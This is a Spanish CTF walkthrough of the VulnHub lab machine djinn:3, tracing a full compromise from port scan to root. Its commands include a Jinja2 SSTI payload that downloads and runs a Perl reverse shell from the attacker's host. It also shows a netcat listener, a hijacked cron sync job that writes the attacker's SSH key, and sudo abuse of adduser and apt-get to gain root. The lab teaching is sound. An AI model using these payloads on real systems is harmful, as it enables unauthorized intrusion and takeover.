[VLN] Djinn:3

Hoy vamos a hackear la maquina de Vulnhub llamada djinn:3. Podeis descargarla desde el siguiente enlace: https://www.vulnhub.com/entry/djinn-3,492/
  • Video
  • Enumeration
  • Empezamos con un nmap para ver que puertos tiene abiertos.
    sml@Cassandra:~$ nmap -A -p- 192.168.1.31 Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-21 00:35 CEST Nmap scan report for djinn3.home (192.168.1.31) Host is up (0.0016s latency). Not shown: 65531 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 e6:44:23:ac:b2:d9:82:e7:90:58:15:5e:40:23:ed:65 (RSA) | 256 ae:04:85:6e:cb:10:4f:55:4a:ad:96:9e:f2:ce:18:4f (ECDSA) |_ 256 f7:08:56:19:97:b5:03:10:18:66:7e:7d:2e:0a:47:42 (ED25519) 80/tcp open http lighttpd 1.4.45 |_http-server-header: lighttpd/1.4.45 |_http-title: Custom-ers 5000/tcp open http Werkzeug httpd 1.0.1 (Python 3.6.9) |_http-server-header: Werkzeug/1.0.1 Python/3.6.9 |_http-title: Site doesn't have a title (text/html; charset=utf-8). 31337/tcp open Elite? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL: | username> | GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions: | username> password> authentication failed | Help: | username> password> | RPCCheck: | username> Traceback (most recent call last): | File "/opt/.tick-serv/tickets.py", line 105, in | main() | File "/opt/.tick-serv/tickets.py", line 93, in main | username = input("username> ") | File "/usr/lib/python3.6/codecs.py", line 321, in decode | (result, consumed) = self._buffer_decode(data, self.errors, final) | UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 0: invalid start byte | SSLSessionReq: | username> Traceback (most recent call last): | File "/opt/.tick-serv/tickets.py", line 105, in | main() | File "/opt/.tick-serv/tickets.py", line 93, in main | username = input("username> ") | File "/usr/lib/python3.6/codecs.py", line 321, in decode | (result, consumed) = self._buffer_decode(data, self.errors, final) | UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 13: invalid continuation byte | TerminalServerCookie: | username> Traceback (most recent call last): | File "/opt/.tick-serv/tickets.py", line 105, in | main() | File "/opt/.tick-serv/tickets.py", line 93, in main | username = input("username> ") | File "/usr/lib/python3.6/codecs.py", line 321, in decode | (result, consumed) = self._buffer_decode(data, self.errors, final) |_ UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe0 in position 5: invalid continuation byte 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port31337-TCP:V=7.80%I=7%D=6/21%Time=5EEE8F39%P=x86_64-pc-linux-gnu%r(N SF:ULL,A,"username>\x20")%r(GetRequest,2A,"username>\x20password>\x20authe SF:ntication\x20failed\n")%r(SIPOptions,2A,"username>\x20password>\x20auth SF:entication\x20failed\n")%r(GenericLines,2A,"username>\x20password>\x20a SF:uthentication\x20failed\n")%r(HTTPOptions,2A,"username>\x20password>\x2 SF:0authentication\x20failed\n")%r(RTSPRequest,2A,"username>\x20password>\ SF:x20authentication\x20failed\n")%r(RPCCheck,1A9,"username>\x20Traceback\ SF:x20\(most\x20recent\x20call\x20last\):\n\x20\x20File\x20\"/opt/\.tick-s SF:erv/tickets\.py\",\x20line\x20105,\x20in\x20\n\x20\x20\x20\x20m SF:ain\(\)\n\x20\x20File\x20\"/opt/\.tick-serv/tickets\.py\",\x20line\x209 SF:3,\x20in\x20main\n\x20\x20\x20\x20username\x20=\x20input\(\"username>\x SF:20\"\)\n\x20\x20File\x20\"/usr/lib/python3\.6/codecs\.py\",\x20line\x20 SF:321,\x20in\x20decode\n\x20\x20\x20\x20\(result,\x20consumed\)\x20=\x20s SF:elf\._buffer_decode\(data,\x20self\.errors,\x20final\)\nUnicodeDecodeEr SF:ror:\x20'utf-8'\x20codec\x20can't\x20decode\x20byte\x200x80\x20in\x20po SF:sition\x200:\x20invalid\x20start\x20byte\n")%r(DNSVersionBindReqTCP,A," SF:username>\x20")%r(DNSStatusRequestTCP,A,"username>\x20")%r(Help,14,"use SF:rname>\x20password>\x20")%r(SSLSessionReq,1B1,"username>\x20Traceback\x SF:20\(most\x20recent\x20call\x20last\):\n\x20\x20File\x20\"/opt/\.tick-se SF:rv/tickets\.py\",\x20line\x20105,\x20in\x20\n\x20\x20\x20\x20ma SF:in\(\)\n\x20\x20File\x20\"/opt/\.tick-serv/tickets\.py\",\x20line\x2093 SF:,\x20in\x20main\n\x20\x20\x20\x20username\x20=\x20input\(\"username>\x2 SF:0\"\)\n\x20\x20File\x20\"/usr/lib/python3\.6/codecs\.py\",\x20line\x203 SF:21,\x20in\x20decode\n\x20\x20\x20\x20\(result,\x20consumed\)\x20=\x20se SF:lf\._buffer_decode\(data,\x20self\.errors,\x20final\)\nUnicodeDecodeErr SF:or:\x20'utf-8'\x20codec\x20can't\x20decode\x20byte\x200xd7\x20in\x20pos SF:ition\x2013:\x20invalid\x20continuation\x20byte\n")%r(TerminalServerCoo SF:kie,1B0,"username>\x20Traceback\x20\(most\x20recent\x20call\x20last\):\ SF:n\x20\x20File\x20\"/opt/\.tick-serv/tickets\.py\",\x20line\x20105,\x20i SF:n\x20\n\x20\x20\x20\x20main\(\)\n\x20\x20File\x20\"/opt/\.tick- SF:serv/tickets\.py\",\x20line\x2093,\x20in\x20main\n\x20\x20\x20\x20usern SF:ame\x20=\x20input\(\"username>\x20\"\)\n\x20\x20File\x20\"/usr/lib/pyth SF:on3\.6/codecs\.py\",\x20line\x20321,\x20in\x20decode\n\x20\x20\x20\x20\ SF:(result,\x20consumed\)\x20=\x20self\._buffer_decode\(data,\x20self\.err SF:ors,\x20final\)\nUnicodeDecodeError:\x20'utf-8'\x20codec\x20can't\x20de SF:code\x20byte\x200xe0\x20in\x20position\x205:\x20invalid\x20continuation SF:\x20byte\n"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 66.55 seconds
    Vemos que en el puerto 5000 tiene una "web" en la cual nos muestra un "portal" donde podemos ver los tickets abiertos, cerrados y demas. En uno de los tickets abiertos aparece que hay un usuario por defecto llamado "guest".
  • Exploitation
  • Nos conectamos al puerto 31337, y usamos guest/guest:
    sml@Cassandra:~$ nc 192.168.1.31 31337 username> guest password> guest Welcome to our own ticketing system. This application is still under development so if you find any issue please report it to mail@mzfr.me Enter "help" to get the list of available commands.
    Parece que es su "propia" herramienta de ticketing. Echamos un vistazo...
    > help help Show this menu update Update the ticketing software open Open a new ticket close Close an existing ticket exit Exit
    Podemos crear tickets! Despues de buscar cual puede ser la vulnerabilidad, se trata de SSTI. La idea es "inyectar" codigo a traves del puerto 31337 y luego poder ejecutarlo a traves del puerto 5000. Se trata de Jinja2, asi que buscamos algo que nos pueda servir[1]. La idea es inyectar un codigo que lo que haga sea, conectarse a nuestra maquina, descargarse una reverse shell en perl, y una vez descargada, ejecutarla. Creamos el siguiente ticket:
    > open Title: I want my shell Description: {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgeti tem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\ x5fimport\x5f\x5f')('os')|attr('popen')('wget http://192.168.1.148/plim.pl & perl plim.pl')|attr('read')()}}
    Una vez creado el ticket, preparamos la reverse shell para que se la pueda descargar.
    sml@Cassandra:~$ cp /usr/share/webshells/perl/perl-reverse-shell.pl . sml@Cassandra:~$ mv perl-reverse-shell.pl plim.pl sml@Cassandra:~$ nano plim.pl #Modificamos IP/Puerto sml@Cassandra:~$ chmod 777 plim.pl sml@Cassandra:~$ mv plim.pl /var/www/html
    Ponemos nc a la escucha.
    sml@Cassandra:~$ nc -nlvp 1234 listening on [any] 1234 ...
    Visitamos el ticket que hemos creado antes!
    http://192.168.1.31:5000/?id4300
    Y obtenemos nuestra shell :)
  • Low Shell
  • sml@Cassandra:~$ nc -nlvp 1234 listening on [any] 1234 ... connect to [192.168.1.148] from (UNKNOWN) [192.168.1.31] 34720 03:41:56 up 3:29, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT Linux djinn3 4.15.0-101-generic #102-Ubuntu SMP Mon May 11 10:07:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux uid=33(www-data) gid=33(www-data) groups=33(www-data) / /usr/sbin/apache: 0: can't access tty; job control turned off $ python -c 'import pty; pty.spawn("/bin/bash")' www-data@djinn3:/$
    Nos descargamos pspy64 para ver que hace el sistema...
    www-data@djinn3:~$ cd /tmp www-data@djinn3:/tmp$ wget http://192.168.1.148/pspy64 --2020-06-25 19:29:22-- http://192.168.1.148/pspy64 Connecting to 192.168.1.148:80... connected. HTTP request sent, awaiting response... 200 OK Length: 3078592 (2.9M) [application/octet-stream] Saving to: pspy64 pspy64 100%[===================>] 2.94M --.-KB/s in 0.02s 2020-06-25 19:29:22 (195 MB/s) - pspy64 saved [3078592/3078592] www-data@djinn3:/tmp$ chmod +x pspy64 www-data@djinn3:/tmp$ ./pspy64 ---SNIP--- CMD: UID=1000 PID=9318 | /usr/bin/python3 /home/saint/.sync-data/syncer.py 2020/06/25 03:48:01 CMD: UID=1000 PID=9317 | /bin/sh -c /usr/bin/python3 /home/saint/.sync-data/syncer.py 2020/06/25 03:48:02 CMD: UID=1000 PID=9320 | /usr/bin/python3 /home/saint/.sync-data/syncer.py ---SNIP---
    Vemos que ejecuta un script (syncer.py) el usuario saint... Exploramos un poco mas el sistema.
    www-data@djinn3:/home$ find / -user saint 2>/dev/null find / -user saint 2>/dev/null /home/saint /opt/.configuration.cpython-38.pyc /opt/.syncer.cpython-38.pyc
    Encontramos que el usuario saint tiene 2 archivos .pyc los cuales pueden servirnos... Vamos a usar xxd para copiar el contenido del fichero en nuestra maquina.
    www-data@djinn3:/tmp$ xxd /opt/.configuration.cpython-38.pyc 00000000: 550d 0d0a 0000 0000 0d0a d95e 3f05 0000 U..........^?... 00000010: e300 0000 0000 0000 0000 0000 0000 0000 ................ 00000020: 0003 0000 0040 0000 0073 4200 0000 6400 .....@...sB...d. 00000030: 6401 6c00 5a00 6400 6401 6c01 5a01 6400 d.l.Z.d.d.l.Z.d. 00000040: 6401 6c02 5a02 6400 6402 6c03 6d03 5a03 d.l.Z.d.d.l.m.Z. 00000050: 0100 6400 6403 6c04 6d04 5a05 0100 4700 ..d.d.l.m.Z...G. 00000060: 6404 6405 8400 6405 8302 5a06 6401 5300 d.d...d...Z.d.S. 00000070: 2906 e900 0000 004e 2901 da04 676c 6f62 )......N)...glob 00000080: 2901 da08 6461 7465 7469 6d65 6300 0000 )...datetimec... 00000090: 0000 0000 0000 0000 0000 0000 0003 0000 ................ 000000a0: 0040 0000 0073 2800 0000 6500 5a01 6400 .@...s(...e.Z.d. 000000b0: 5a02 6401 5a03 6504 6402 6403 8400 8301 Z.d.Z.e.d.d..... 000000c0: 5a05 6504 6404 6405 8400 8301 5a06 6401 Z.e.d.d.....Z.d. 000000d0: 5300 2906 da0c 436f 6e66 6967 5265 6164 S.)...ConfigRead 000000e0: 6572 4e63 0100 0000 0000 0000 0000 0000 erNc............ 000000f0: 0400 0000 0a00 0000 4300 0000 7362 0000 ........C...sb.. 00000100: 0069 007d 017a 2474 007c 0064 0183 028f .i.}.z$t.|.d.... 00000110: 107d 0274 01a0 027c 02a1 017d 0157 0035 .}.t...|...}.W.5 00000120: 0051 0052 0058 0057 006e 3404 0074 036b .Q.R.X.W.n4..t.k 00000130: 0a72 5c01 007d 0301 007a 1674 0464 0283 .r\..}...z.t.d.. 00000140: 0101 0074 05a0 0664 03a1 0101 0057 0035 ...t...d.....W.5 00000150: 0064 047d 037e 0358 0059 006e 0258 007c .d.}.~.X.Y.n.X.| 00000160: 0153 0029 057a 1e52 6561 6473 2074 6865 .S.).z.Reads the 00000170: 2063 6f6e 6669 6720 6669 6c65 0a20 2020 config file. 00000180: 2020 2020 20da 0172 7a3b 436f 756c 646e ..rz;Couldn 00000190: 2774 2070 726f 7065 726c 7920 7061 7273 't properly pars 000001a0: 6520 7468 6520 636f 6e66 6967 2066 696c e the config fil 000001b0: 652e 2050 6c65 6173 6520 7573 6520 7072 e. Please use pr 000001c0: 6f70 6572 6ce9 0100 0000 4e29 07da 046f operl.....N)...o 000001d0: 7065 6eda 046a 736f 6eda 046c 6f61 64da pen..json..load. 000001e0: 0945 7863 6570 7469 6f6e da05 7072 696e .Exception..prin 000001f0: 74da 0373 7973 da04 6578 6974 2904 da04 t..sys..exit)... 00000200: 7061 7468 5a0d 636f 6e66 6967 5f76 616c pathZ.config_val 00000210: 7565 73da 0166 da01 65a9 0072 1100 0000 ues..f..e..r.... 00000220: fa10 636f 6e66 6967 7572 6174 696f 6e2e ..configuration. 00000230: 7079 da0b 7265 6164 5f63 6f6e 6669 670b py..read_config. 00000240: 0000 0073 1000 0000 0004 0402 0201 0c01 ...s............ 00000250: 1801 1001 0801 1c01 7a18 436f 6e66 6967 ........z.Config 00000260: 5265 6164 6572 2e72 6561 645f 636f 6e66 Reader.read_conf 00000270: 6967 6300 0000 0000 0000 0000 0000 0007 igc............. 00000280: 0000 0008 0000 0043 0000 0073 d600 0000 .......C...s.... 00000290: 7400 6401 8301 7d00 7400 6402 8301 7d01 t.d...}.t.d...}. 000002a0: 7c00 7c01 1700 7d00 7a9a 7401 7c00 8301 |.|...}.z.t.|... 000002b0: 6403 6b04 7232 7c00 6404 6403 8502 1900 d.k.r2|.d.d..... 000002c0: 7d00 7402 6a03 a004 7c00 6405 1900 a101 }.t.j...|.d..... 000002d0: a005 6406 a101 7d02 7402 6a03 a004 7c00 ..d...}.t.j...|. 000002e0: 6407 1900 a101 a005 6406 a101 7d03 7c02 d.......d...}.|. 000002f0: 6408 1900 6409 6b02 7296 7c03 6408 1900 d...d.k.r.|.d... 00000300: 6409 6b02 7296 7406 a007 7c02 6405 1900 d.k.r.t...|.d... 00000310: 640a a102 7d04 7406 a007 7c03 6405 1900 d...}.t...|.d... 00000320: 640a a102 7d05 7c05 7c04 6b00 72a8 7c00 d...}.|.|.k.r.|. 00000330: 6405 1900 7d06 6e08 7c00 6407 1900 7d06 d...}.n.|.d...}. 00000340: 5700 6e1e 0400 7408 6b0a 72d0 0100 0100 W.n...t.k.r..... 00000350: 0100 7409 a00a 6407 a101 0100 5900 6e02 ..t...d.....Y.n. 00000360: 5800 7c06 5300 290b 7a1c 5365 7420 7468 X.|.S.).z.Set th 00000370: 6520 636f 6e66 6967 2070 6174 680a 2020 e config path. 00000380: 2020 2020 2020 7a12 2f68 6f6d 652f 7361 z./home/sa 00000390: 696e 742f 2a2e 6a73 6f6e 7a0b 2f74 6d70 int/*.jsonz./tmp 000003a0: 2f2a 2e6a 736f 6ee9 0200 0000 4e72 0100 /*.json.....Nr.. 000003b0: 0000 da01 2e72 0600 0000 e9fe ffff ffda .....r.......... 000003c0: 0663 6f6e 6669 677a 0825 642d 256d 2d25 .configz.%d-%m-% 000003d0: 5929 0b72 0200 0000 da03 6c65 6eda 026f Y).r......len..o 000003e0: 7372 0e00 0000 da08 6261 7365 6e61 6d65 sr......basename 000003f0: da05 7370 6c69 74da 0264 74da 0873 7472 ..split..dt..str 00000400: 7074 696d 6572 0a00 0000 720c 0000 0072 ptimer....r....r 00000410: 0d00 0000 2907 da05 6669 6c65 735a 0b6f ....)...filesZ.o 00000420: 7468 6572 5f66 696c 6573 5a05 6669 6c65 ther_filesZ.file 00000430: 315a 0566 696c 6532 da01 61da 0162 da08 1Z.file2..a..b.. 00000440: 6669 6c65 6e61 6d65 7211 0000 0072 1100 filenamer....r.. 00000450: 0000 7212 0000 00da 0f73 6574 5f63 6f6e ..r......set_con 00000460: 6669 675f 7061 7468 1900 0000 7322 0000 fig_path....s".. 00000470: 0000 0508 0208 0108 0202 010c 010c 0216 ................ 00000480: 0116 0218 0210 0110 0208 010a 020c 020e ................ 00000490: 0110 027a 1c43 6f6e 6669 6752 6561 6465 ...z.ConfigReade 000004a0: 722e 7365 745f 636f 6e66 6967 5f70 6174 r.set_config_pat 000004b0: 6829 07da 085f 5f6e 616d 655f 5fda 0a5f h)...__name__.._ 000004c0: 5f6d 6f64 756c 655f 5fda 0c5f 5f71 7561 _module__..__qua 000004d0: 6c6e 616d 655f 5f72 1700 0000 da0c 7374 lname__r......st 000004e0: 6174 6963 6d65 7468 6f64 7213 0000 0072 aticmethodr....r 000004f0: 2200 0000 7211 0000 0072 1100 0000 7211 "...r....r....r. 00000500: 0000 0072 1200 0000 7204 0000 0008 0000 ...r....r....... 00000510: 0073 0a00 0000 0801 0402 0201 0a0d 0201 .s.............. 00000520: 7204 0000 0029 0772 1900 0000 720c 0000 r....).r....r... 00000530: 0072 0800 0000 7202 0000 0072 0300 0000 .r....r....r.... 00000540: 721c 0000 0072 0400 0000 7211 0000 0072 r....r....r....r 00000550: 1100 0000 7211 0000 0072 1200 0000 da08 ....r....r...... 00000560: 3c6d 6f64 756c 653e 0100 0000 730a 0000 ....s... 00000570: 0008 0108 0108 020c 010c 02 ...........
    Creamos un fichero (configuration.pyc) y copiamos el resultado del comando anterior. Una vez copiado, usamos xxd -r para devolverlo a su estado "original", y por ultimo usamos uncompyle6 para que podamos leer el codigo python. Se haria de la siguiente forma:
    sml@Cassandra:~$ nano configuration.pyc #Copiamos el resultado del comando anterior. sml@Cassandra:~$ xxd -r configuration.pyc >> configuration2.pyc sml@Cassandra:~$ uncompyle6 configuration2.pyc >> configuration.py
    Hecho esto, podemos ver que contiene configuration.py....
    sml@Cassandra:~$ cat configuration.py # uncompyle6 version 3.7.1 # Python bytecode 3.8 (3413) # Decompiled from: Python 2.7.18 (default, Apr 20 2020, 20:30:41) # [GCC 9.3.0] # Warning: this version has problems handling the Python 3 "byte" type in constants properly. # Embedded file name: configuration.py # Compiled at: 2020-06-04 16:49:49 # Size of source mod 2**32: 1343 bytes import os, sys, json from glob import glob from datetime import datetime as dt class ConfigReader: config = None @staticmethod def read_config(path): """Reads the config file """ config_values = {} try: with open(path, 'r') as (f): config_values = json.load(f) except Exception as e: try: print("Couldn't properly parse the config file. Please use properl") sys.exit(1) finally: e = None del e else: return config_values @staticmethod def set_config_path(): """Set the config path """ files = glob('/home/saint/*.json') other_files = glob('/tmp/*.json') files = files + other_files try: if len(files) > 2: files = files[:2] else: file1 = os.path.basename(files[0]).split('.') file2 = os.path.basename(files[1]).split('.') if file1[(-2)] == 'config': if file2[(-2)] == 'config': a = dt.strptime(file1[0], '%d-%m-%Y') b = dt.strptime(file2[0], '%d-%m-%Y') if b < a: filename = files[0] else: pass filename = files[1] except Exception: sys.exit(1) else: return filename # okay decompiling configuration2.pyc
    Hacemos lo mismo con el otro fichero.
    www-data@djinn3:/tmp$ xxd /opt/.syncer.cpython-38.pyc 00000000: 550d 0d0a 0000 0000 6be7 d45e 4b02 0000 U.......k..^K... 00000010: e300 0000 0000 0000 0000 0000 0000 0000 ................ 00000020: 0002 0000 0040 0000 0073 3a00 0000 6400 .....@...s:...d. 00000030: 6401 6c00 5400 6400 6401 6c01 5400 6400 d.l.T.d.d.l.T.d. 00000040: 6401 6c02 5400 6400 6401 6c03 5400 6402 d.l.T.d.d.l.T.d. 00000050: 6403 8400 5a04 6505 6404 6b02 7236 6504 d...Z.e.d.k.r6e. 00000060: 8300 0100 6405 5300 2906 e900 0000 0029 ....d.S.)......) 00000070: 01da 012a 6300 0000 0000 0000 0000 0000 ...*c........... 00000080: 0003 0000 0004 0000 0043 0000 0073 6400 .........C...sd. 00000090: 0000 7400 a001 a100 7d00 7400 a002 7c00 ..t.....}.t...|. 000000a0: a101 7d01 7403 7c01 8301 7d02 6401 7c02 ..}.t.|...}.d.|. 000000b0: 6b06 7230 7404 7c01 6401 1900 8301 0100 k.r0t.|.d....... 000000c0: 6e30 6402 7c02 6b06 7246 7405 7c01 6402 n0d.|.k.rFt.|.d. 000000d0: 1900 8301 0100 6e1a 6403 7c02 6b06 7260 ......n.d.|.k.r` 000000e0: 7406 7c01 6403 1900 7c01 6404 1900 8302 t.|.d...|.d..... 000000f0: 0100 6405 5300 2906 7a43 4d61 696e 2066 ..d.S.).zCMain f 00000100: 756e 6374 696f 6e0a 2020 2020 4372 6f6e unction. Cron 00000110: 206a 6f62 2069 7320 676f 696e 6720 746f job is going to 00000120: 206d 616b 6520 6d79 2077 6f72 6b20 6561 make my work ea 00000130: 7379 2070 6561 7379 0a20 2020 205a 0346 sy peasy. Z.F 00000140: 5450 5a03 5353 48da 0355 524c da06 4f75 TPZ.SSH..URL..Ou 00000150: 7470 7574 4e29 075a 0c43 6f6e 6669 6752 tputN).Z.ConfigR 00000160: 6561 6465 725a 0f73 6574 5f63 6f6e 6669 eaderZ.set_confi 00000170: 675f 7061 7468 5a0b 7265 6164 5f63 6f6e g_pathZ.read_con 00000180: 6669 675a 0763 6865 636b 6572 5a06 6674 figZ.checkerZ.ft 00000190: 7063 6f6e 5a06 7373 6863 6f6e da04 7379 pconZ.sshcon..sy 000001a0: 6e63 2903 5a0a 636f 6e66 6967 5061 7468 nc).Z.configPath 000001b0: da06 636f 6e66 6967 5a0b 636f 6e6e 6563 ..configZ.connec 000001c0: 7469 6f6e 73a9 0072 0700 0000 fa09 7379 tions..r......sy 000001d0: 6e63 6572 2e70 79da 046d 6169 6e07 0000 ncer.py..main... 000001e0: 0073 1200 0000 0004 0801 0a01 0802 0801 .s.............. 000001f0: 0e01 0801 0e01 0801 7209 0000 00da 085f ........r......_ 00000200: 5f6d 6169 6e5f 5f4e 2906 5a0d 636f 6e66 _main__N).Z.conf 00000210: 6967 7572 6174 696f 6e5a 1263 6f6e 6e65 igurationZ.conne 00000220: 6374 6f72 732e 6674 7063 6f6e 6e5a 1263 ctors.ftpconnZ.c 00000230: 6f6e 6e65 6374 6f72 732e 7373 6863 6f6e onnectors.sshcon 00000240: 6e5a 1063 6f6e 6e65 6374 6f72 732e 7574 nZ.connectors.ut 00000250: 696c 7372 0900 0000 da08 5f5f 6e61 6d65 ilsr......__name 00000260: 5f5f 7207 0000 0072 0700 0000 7207 0000 __r....r....r... 00000270: 0072 0800 0000 da08 3c6d 6f64 756c 653e .r...... 00000280: 0100 0000 730c 0000 0008 0108 0108 0108 ....s........... 00000290: 0308 1008 01 ..... sml@Cassandra:~$ nano syncer.pyc sml@Cassandra:~$ xxd -r syncer.pyc >> syncer2.pyc sml@Cassandra:~$ uncompyle6 syncer2.pyc >> syncer.py
    Miramos el codigo de este nuevo fichero...
    sml@Cassandra:~$ cat syncer.py # uncompyle6 version 3.7.1 # Python bytecode 3.8 (3413) # Decompiled from: Python 2.7.18 (default, Apr 20 2020, 20:30:41) # [GCC 9.3.0] # Warning: this version has problems handling the Python 3 "byte" type in constants properly. # Embedded file name: syncer.py # Compiled at: 2020-06-01 13:32:59 # Size of source mod 2**32: 587 bytes from configuration import * from connectors.ftpconn import * from connectors.sshconn import * from connectors.utils import * def main(): """Main function Cron job is going to make my work easy peasy """ configPath = ConfigReader.set_config_path() config = ConfigReader.read_config(configPath) connections = checker(config) if 'FTP' in connections: ftpcon(config['FTP']) else: if 'SSH' in connections: sshcon(config['SSH']) else: if 'URL' in connections: sync(config['URL'], config['Output']) if __name__ == '__main__': main() # okay decompiling syncer2.pyc
    Una vez analizado los codigos, podemos ver que va a ir a buscar ficheros .json a /tmp (en el cual podemos escribir), y deben llamarse de la forma DD-MM-AA.config.json. El contenido del fichero debe ser en json y contener una URL y Output. Al llamarse el script syncer.py se supone que va a descargar algo de la URL facilitada y lo va a guardar en el "Output".... Vamos a copiar nuestra llave publica de ssh en el fichero authorized_keys del usuario saint para poder conectarnos por ssh como saint. Para ello, creamos el fichero authorized_keys con nuestra llave publica, lo dejamos accesible en nuestro servidor web, y por otro lado creamos el fichero .json que vamos a necesitar.
    sml@Cassandra:~$ cd .ssh sml@Cassandra:~/.ssh$ cp id_rsa.pub /var/www/html/authorized_keys sml@Cassandra:/var/www/html$ cat 25-06-2020.config.json { "URL": "http://192.168.1.148/authorized_keys", "Output": "/home/saint/.ssh/authorized_keys" }
    Una vez lo tenemos, descargamos el fichero .json en /tmp para que cuando se ejecute el script lo encuentre.
    www-data@djinn3:/tmp$ wget http://192.168.1.148/25-06-2020.config.json
    En nuestra maquina, miramos los logs del server web, para ver si se descarga el authorized_keys.
    sml@Cassandra:~$ sudo tail -f /var/log/nginx/access.log 192.168.1.31 - - [25/Jun/2020:14:33:02 +0200] "GET /authorized_keys HTTP/1.1" 200 567 "-" "python-requests/2.18.4"
    Una vez vemos que se lo ha descargado, probamos a conectar por ssh!
    sml@Cassandra:~$ ssh saint@192.168.1.31 Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-101-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Thu Jun 25 18:03:03 IST 2020 System load: 0.4 Processes: 101 Usage of /: 44.5% of 9.78GB Users logged in: 0 Memory usage: 47% IP address for eth0: 192.168.1.31 Swap usage: 0% => There is 1 zombie process. * "If you've been waiting for the perfect Kubernetes dev solution for macOS, the wait is over. Learn how to install Microk8s on macOS." https://www.techrepublic.com/article/how-to-install-microk8s-on-macos/ 25 packages can be updated. 16 updates are security updates. Last login: Mon Jun 1 22:04:51 2020 from 192.168.1.107 saint@djinn3:~$
    Ha funcionado! Ejecutamos sudo -l para ver que podemos hacer.
    saint@djinn3:/home$ sudo -l Matching Defaults entries for saint on djinn3: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/ snap/bin User saint may run the following commands on djinn3: (root) NOPASSWD: /usr/sbin/adduser, !/usr/sbin/adduser * sudo, !/usr/sbin/adduser * admin
    Podemos crear usuarios, pero no podemos meter a los usuarios que creemos ni en el grupo sudo, ni en el grupo admin. Creamos un usuario con GID 0 (root)
    saint@djinn3:/home$ sudo adduser r00t -gid 0
    Cambiamos al usuario que hemos creado.
    saint@djinn3:/home$ su r00t r00t@djinn3:~$ id uid=1004(r00t) gid=0(root) groups=0(root)
    Ahora que tenemos privilegios del grupo de "root" podemos ver varios ficheros que de otra forma no podriamos. Aprovechamos para ver el fichero /etc/sudoers.
    r00t@djinn3:/home$ cat /etc/sudoers ---SNIP--- # Cmnd alias specification # User privilege specification root ALL=(ALL:ALL) ALL # Members of the admin group may gain root privileges %admin ALL=(ALL) ALL # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL # See sudoers(5) for more information on "#include" directives: # If you need a huge list of used numbers please install the nmap package. saint ALL=(root) NOPASSWD: /usr/sbin/adduser, !/usr/sbin/adduser * sudo, !/usr/sbin/adduser * admin jason ALL=(root) PASSWD: /usr/bin/apt-get #includedir /etc/sudoers.d ---SNIP----
  • Privilege Escalation
  • Vemos que hay un usuario llamado "jason" que puede usar sudo y ejecutar el comando apt-get... No hay ningun usuario llamado jason en el sistema, asi que lo creamos.
    saint@djinn3:~$ id uid=1000(saint) gid=1002(saint) groups=1002(saint) saint@djinn3:/home$ sudo adduser jason
    Nos cambiamos a jason.
    saint@djinn3:~$ su jason Password: jason@djinn3:~$ id uid=1007(jason) gid=1006(jason) groups=1006(jason)
    Usamos apt-get para escalar privilegios!
    jason@djinn3:~$ sudo apt-get changelog apt !/bin/sh root@djinn3:~# id uid=0(root) gid=0(root) groups=0(root)
    Conseguido :)
  • root.txt
  • root@djinn3:/home# cd /root root@djinn3:/root# ls proof.sh root@djinn3:/root# sh proof.sh _ _ _ _ _ / \ _ __ ___ __ _ ___(_)_ __ __ _| | | | / _ \ | '_ ` _ \ / _` |_ / | '_ \ / _` | | | | / ___ \| | | | | | (_| |/ /| | | | | (_| |_|_|_| /_/ \_\_| |_| |_|\__,_/___|_|_| |_|\__, (_|_|_) |___/ djinn-3 pwned... __________________________________________________________________________ Proof: VGhhbmsgeW91IGZvciB0cnlpbmcgZGppbm4zID0K Path: /root Date: Thu Jun 25 19:45:40 IST 2020 Whoami: root __________________________________________________________________________ By @0xmzfr Special thanks to @DCAU7 for his help on Privilege escalation process And also Thanks to my fellow teammates in @m0tl3ycr3w for betatesting! :-) If you enjoyed this then consider donating (https://blog.mzfr.me/support/) so I can continue to make these kind of challenges.
  • End
  • Y con esto ya seriamos root de la maquina :) [1] https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20 Template%20Injection/README.md#jinja2